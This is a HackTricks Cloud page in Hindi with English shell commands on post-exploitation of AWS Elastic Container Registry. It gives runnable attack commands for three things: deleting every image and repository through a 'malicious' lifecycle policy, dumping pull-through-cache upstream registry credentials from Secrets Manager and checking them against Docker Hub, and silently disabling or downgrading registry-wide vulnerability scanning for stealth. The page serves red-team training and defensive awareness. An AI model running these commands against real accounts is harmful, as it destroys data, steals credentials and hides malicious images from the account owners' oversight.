AWS - ECR Post Exploitation
Reading time: 8 minutes
tip
AWS हैकिंग सीखें और अभ्यास करें:
HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें:
HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें, PRs को HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में सबमिट करके।
ECR
अधिक जानकारी के लिए देखें
Login, Pull & Push
# Docker login into ecr
## For public repo (always use us-east-1)
aws ecr-public get-login-password --region us-east-1 | docker login --username AWS --password-stdin public.ecr.aws/<random-id>
## For private repo
aws ecr get-login-password --profile <profile_name> --region <region> | docker login --username AWS --password-stdin <account_id>.dkr.ecr.<region>.amazonaws.com
## If you need to acces an image from a repo if a different account, in <account_id> set the account number of the other account
# Download
docker pull <account_id>.dkr.ecr.<region>.amazonaws.com/<repo_name>:latest
## If you still have the error "Requested image not found"
## It might be because the tag "latest" doesn't exit
## Get valid tags with:
TOKEN=$(aws --profile <profile> ecr get-authorization-token --output text --query 'authorizationData[].authorizationToken')
curl -i -H "Authorization: Basic $TOKEN" https://<account_id>.dkr.ecr.<region>.amazonaws.com/v2/<img_name>/tags/list
# Inspect the image
docker inspect sha256:079aee8a89950717cdccd15b8f17c80e9bc4421a855fcdc120e1c534e4c102e0
docker inspect <account id>.dkr.ecr.<region>.amazonaws.com/<image>:<tag> # Inspect the image indicating the URL
# Upload (example uploading purplepanda with tag latest)
docker tag purplepanda:latest <account_id>.dkr.ecr.<region>.amazonaws.com/purplepanda:latest
docker push <account_id>.dkr.ecr.<region>.amazonaws.com/purplepanda:latest
# Downloading without Docker
# List digests
aws ecr batch-get-image --repository-name level2 \
--registry-id 653711331788 \
--image-ids imageTag=latest | jq '.images[].imageManifest | fromjson'
## Download a digest
aws ecr get-download-url-for-layer \
--repository-name level2 \
--registry-id 653711331788 \
--layer-digest "sha256:edfaad38ac10904ee76c81e343abf88f22e6cfc7413ab5a8e4aeffc6a7d9087a"
इमेजेस डाउनलोड करने के बाद आपको इन्हें संवेदनशील जानकारी के लिए जाँचना चाहिए:
ecr:PutLifecyclePolicy | ecr:DeleteRepository | ecr-public:DeleteRepository | ecr:BatchDeleteImage | ecr-public:BatchDeleteImage
इनमें से किसी भी permissions वाले attacker एक lifecycle policy बना या संशोधित कर सकता है ताकि repository में मौजूद सभी इमेजेस हट जाएँ और फिर पूरा ECR repository डिलीट कर सकता है। इसका परिणाम होगा कि repository में स्टोर किए गए सभी container images नष्ट/खो जाएंगे।
# Create a JSON file with the malicious lifecycle policy
echo '{
"rules": [
{
"rulePriority": 1,
"description": "Delete all images",
"selection": {
"tagStatus": "any",
"countType": "imageCountMoreThan",
"countNumber": 0
},
"action": {
"type": "expire"
}
}
]
}' > malicious_policy.json
# Apply the malicious lifecycle policy to the ECR repository
aws ecr put-lifecycle-policy --repository-name your-ecr-repo-name --lifecycle-policy-text file://malicious_policy.json
# Delete the ECR repository
aws ecr delete-repository --repository-name your-ecr-repo-name --force
# Delete the ECR public repository
aws ecr-public delete-repository --repository-name your-ecr-repo-name --force
# Delete multiple images from the ECR repository
aws ecr batch-delete-image --repository-name your-ecr-repo-name --image-ids imageTag=latest imageTag=v1.0.0
# Delete multiple images from the ECR public repository
aws ecr-public batch-delete-image --repository-name your-ecr-repo-name --image-ids imageTag=latest imageTag=v1.0.0
Exfiltrate upstream registry credentials from ECR Pull‑Through Cache (PTC)
यदि ECR Pull‑Through Cache authenticated upstream registries (Docker Hub, GHCR, ACR, आदि) के लिए कॉन्फ़िगर किया गया है, तो upstream credentials AWS Secrets Manager में एक अनुमाननीय नाम प्रिफिक्स के साथ संग्रहीत होते हैं: ecr-pullthroughcache/. ऑपरेटर्स कभी-कभार ECR admins को Secrets Manager पढ़ने का व्यापक एक्सेस दे देते हैं, जिससे credential exfiltration और AWS के बाहर पुन: उपयोग संभव हो जाता है।
Requirements
- secretsmanager:ListSecrets
- secretsmanager:GetSecretValue
Enumerate candidate PTC secrets
aws secretsmanager list-secrets \
--query "SecretList[?starts_with(Name, 'ecr-pullthroughcache/')].Name" \
--output text
खोजे गए secrets को dump करें और सामान्य फ़ील्ड्स को पार्स करें
for s in $(aws secretsmanager list-secrets \
--query "SecretList[?starts_with(Name, 'ecr-pullthroughcache/')].ARN" --output text); do
aws secretsmanager get-secret-value --secret-id "$s" \
--query SecretString --output text | tee /tmp/ptc_secret.json
jq -r '.username? // .user? // empty' /tmp/ptc_secret.json || true
jq -r '.password? // .token? // empty' /tmp/ptc_secret.json || true
done
वैकल्पिक: leaked creds को upstream के खिलाफ सत्यापित करें (read‑only login)
echo "$DOCKERHUB_PASSWORD" | docker login --username "$DOCKERHUB_USERNAME" --password-stdin registry-1.docker.io
प्रभाव
- इन Secrets Manager entries को पढ़ने से reusable upstream registry credentials (username/password या token) प्राप्त होते हैं, जिन्हें AWS के बाहर private images को pull करने या upstream permissions के आधार पर अतिरिक्त repositories तक पहुँचने के लिए दुरुपयोग किया जा सकता है।
Registry-level stealth: disable or downgrade scanning via ecr:PutRegistryScanningConfiguration
registry-level ECR permissions वाले attacker चुपचाप automatic vulnerability scanning को सभी repositories के लिए घटा या disable कर सकते हैं, यदि वे registry scanning configuration को BASIC पर सेट कर दें बिना किसी scan-on-push नियम के। इससे नई image pushes स्वतः स्कैन नहीं होंगी, जिससे vulnerable या malicious images छिप सकती हैं।
आवश्यकताएँ
- ecr:PutRegistryScanningConfiguration
- ecr:GetRegistryScanningConfiguration
- ecr:PutImageScanningConfiguration (optional, per‑repo)
- ecr:DescribeImages, ecr:DescribeImageScanFindings (verification)
रीजिस्ट्री-व्यापी डाउनग्रेड: मैन्युअल (कोई ऑटो स्कैन नहीं)
REGION=us-east-1
# Read current config (save to restore later)
aws ecr get-registry-scanning-configuration --region "$REGION"
# Set BASIC scanning with no rules (results in MANUAL scanning only)
aws ecr put-registry-scanning-configuration \
--region "$REGION" \
--scan-type BASIC \
--rules '[]'
repo और image के साथ परीक्षण
acct=$(aws sts get-caller-identity --query Account --output text)
repo=ht-scan-stealth
aws ecr create-repository --region "$REGION" --repository-name "$repo" >/dev/null 2>&1 || true
aws ecr get-login-password --region "$REGION" | docker login --username AWS --password-stdin ${acct}.dkr.ecr.${REGION}.amazonaws.com
printf 'FROM alpine:3.19\nRUN echo STEALTH > /etc/marker\n' > Dockerfile
docker build -t ${acct}.dkr.ecr.${REGION}.amazonaws.com/${repo}:test .
docker push ${acct}.dkr.ecr.${REGION}.amazonaws.com/${repo}:test
# Verify no scan ran automatically
aws ecr describe-images --region "$REGION" --repository-name "$repo" --image-ids imageTag=test --query 'imageDetails[0].imageScanStatus'
# Optional: will error with ScanNotFoundException if no scan exists
aws ecr describe-image-scan-findings --region "$REGION" --repository-name "$repo" --image-id imageTag=test || true
वैकल्पिक: रिपॉज़िटरी स्कोप पर और अधिक डिग्रेड करें
# Disable scan-on-push for a specific repository
aws ecr put-image-scanning-configuration \
--region "$REGION" \
--repository-name "$repo" \
--image-scanning-configuration scanOnPush=false
प्रभाव
- रजिस्ट्री में नए image pushes स्वचालित रूप से scan नहीं होते हैं, जिससे vulnerable या malicious content की visibility घटती है और detection तब तक delay होता है जब तक कोई manual scan initiate न किया जाए।
रजिस्ट्री-व्यापी scanning engine को ecr:PutAccountSetting के माध्यम से downgrade करना (AWS_NATIVE -> CLAIR)
डिफ़ॉल्ट BASIC scan engine को AWS_NATIVE से legacy CLAIR engine में बदलकर पूरे रजिस्ट्री में vulnerability detection की गुणवत्ता कम करें। यह scanning को disable नहीं करता, लेकिन findings/coverage को महत्वपूर्ण रूप से बदल सकता है। scans को केवल manual-only बनाने के लिए no-rules वाले BASIC registry scanning configuration के साथ मिलाएँ।
आवश्यकताएँ
ecr:PutAccountSetting,ecr:GetAccountSetting- (वैकल्पिक)
ecr:PutRegistryScanningConfiguration,ecr:GetRegistryScanningConfiguration
प्रभाव
- Registry setting
BASIC_SCAN_TYPE_VERSIONकोCLAIRपर सेट कर दिया जाता है ताकि बाद की BASIC scans downgraded engine के साथ चलें। CloudTrailPutAccountSettingAPI कॉल को रिकॉर्ड करता है।
कदम
REGION=us-east-1
# 1) Read current value so you can restore it later
aws ecr get-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION || true
# 2) Downgrade BASIC scan engine registry‑wide to CLAIR
aws ecr put-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION --value CLAIR
# 3) Verify the setting
aws ecr get-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION
# 4) (Optional stealth) switch registry scanning to BASIC with no rules (manual‑only scans)
aws ecr put-registry-scanning-configuration --region $REGION --scan-type BASIC --rules '[]' || true
# 5) Restore to AWS_NATIVE when finished to avoid side effects
aws ecr put-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION --value AWS_NATIVE
tip
AWS हैकिंग सीखें और अभ्यास करें:
HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें:
HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें, PRs को HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में सबमिट करके।
HackTricks Cloud